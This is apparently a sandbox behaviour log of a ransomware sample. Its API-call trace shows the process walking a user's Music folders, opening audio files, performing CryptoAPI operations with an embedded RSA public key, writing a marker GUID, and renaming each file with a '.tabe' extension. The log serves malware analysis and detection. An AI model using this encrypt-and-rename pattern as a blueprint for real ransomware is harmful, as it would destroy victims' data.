KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.120] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.120] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.120] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.121] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.121] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.121] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.121] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.121] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.121] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.121] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.121] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.121] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.122] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.122] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf080, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.122] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.122] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.122] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.122] CloseHandle (hObject=0x618) returned 1 [0127.123] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\u1k-ClJ_35H2Zr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\u1k-clj_35h2zr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\u1k-ClJ_35H2Zr.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\u1k-clj_35h2zr.wav.tabe")) returned 1 [0127.125] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a25b00, ftCreationTime.dwHighDateTime=0x1d5da81, ftLastAccessTime.dwLowDateTime=0x2a266d00, ftLastAccessTime.dwHighDateTime=0x1d5e1b1, ftLastWriteTime.dwLowDateTime=0x2a266d00, ftLastWriteTime.dwHighDateTime=0x1d5e1b1, nFileSizeHigh=0x0, nFileSizeLow=0xf080, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="u1k-ClJ_35H2Zr.wav", cAlternateFileName="U1K-CL~1.WAV")) returned 0 [0127.125] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.125] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.125] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.125] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\") returned="hmNSQ\\" [0127.125] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.125] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.125] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.125] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.125] PathFindFileNameW (pszPath="") returned="" [0127.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf44f740, ftCreationTime.dwHighDateTime=0x1d5e06c, ftLastAccessTime.dwLowDateTime=0x35738480, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x35738480, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.125] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf44f740, ftCreationTime.dwHighDateTime=0x1d5e06c, ftLastAccessTime.dwLowDateTime=0x35738480, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x35738480, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.125] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc972e60, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0x8afd12d0, ftLastAccessTime.dwHighDateTime=0x1d5e70d, ftLastWriteTime.dwLowDateTime=0x8afd12d0, ftLastWriteTime.dwHighDateTime=0x1d5e70d, nFileSizeHigh=0x0, nFileSizeLow=0x12f89, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3WiN4C3- vrKPvMcgbeG.m4a", cAlternateFileName="3WIN4C~1.M4A")) returned 1 [0127.125] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\3WiN4C3- vrKPvMcgbeG.m4a") returned=".m4a" [0127.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\3WiN4C3- vrKPvMcgbeG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\3win4c3- vrkpvmcgbeg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.126] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=77705) returned 1 [0127.126] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.127] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12f63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.127] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.128] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x12f89, lpOverlapped=0x0) returned 1 [0127.129] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.129] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.129] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.129] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.130] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.130] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.130] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.130] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.130] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.130] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.130] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.130] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.130] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.130] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.131] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12f89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.131] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.131] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.131] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.131] CloseHandle (hObject=0x618) returned 1 [0127.132] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\3WiN4C3- vrKPvMcgbeG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\3win4c3- vrkpvmcgbeg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\3WiN4C3- vrKPvMcgbeG.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\3win4c3- vrkpvmcgbeg.m4a.tabe")) returned 1 [0127.133] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7f1450, ftCreationTime.dwHighDateTime=0x1d5da6a, ftLastAccessTime.dwLowDateTime=0xa99404b0, ftLastAccessTime.dwHighDateTime=0x1d5de8e, ftLastWriteTime.dwLowDateTime=0xa99404b0, ftLastWriteTime.dwHighDateTime=0x1d5de8e, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5vP5hqYt0.wav", cAlternateFileName="5VP5HQ~1.WAV")) returned 1 [0127.133] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\5vP5hqYt0.wav") returned=".wav" [0127.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\5vP5hqYt0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\5vp5hqyt0.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.134] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=8206) returned 1 [0127.134] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.135] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.135] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.136] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x200e, lpOverlapped=0x0) returned 1 [0127.136] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.137] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.137] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.137] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.137] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.137] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.137] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.137] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.137] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.138] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.138] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.138] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.138] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.138] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.138] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x200e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.138] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.138] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.138] CloseHandle (hObject=0x618) returned 1 [0127.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\5vP5hqYt0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\5vp5hqyt0.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\5vP5hqYt0.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hmnsq\\5vp5hqyt0.wav.tabe")) returned 1 [0127.140] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7f1450, ftCreationTime.dwHighDateTime=0x1d5da6a, ftLastAccessTime.dwLowDateTime=0xa99404b0, ftLastAccessTime.dwHighDateTime=0x1d5de8e, ftLastWriteTime.dwLowDateTime=0xa99404b0, ftLastWriteTime.dwHighDateTime=0x1d5de8e, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5vP5hqYt0.wav", cAlternateFileName="5VP5HQ~1.WAV")) returned 0 [0127.140] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.140] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.140] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.140] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\") returned="ZdwCD4E1y\\" [0127.140] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.140] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.140] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.140] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.140] PathFindFileNameW (pszPath="") returned="" [0127.141] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.141] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.141] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3425c0, ftCreationTime.dwHighDateTime=0x1d5da56, ftLastAccessTime.dwLowDateTime=0x81698c50, ftLastAccessTime.dwHighDateTime=0x1d5db12, ftLastWriteTime.dwLowDateTime=0x81698c50, ftLastWriteTime.dwHighDateTime=0x1d5db12, nFileSizeHigh=0x0, nFileSizeLow=0x4993, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="gDmLp.m4a", cAlternateFileName="")) returned 1 [0127.141] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\gDmLp.m4a") returned=".m4a" [0127.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\gDmLp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\gdmlp.m4a"), 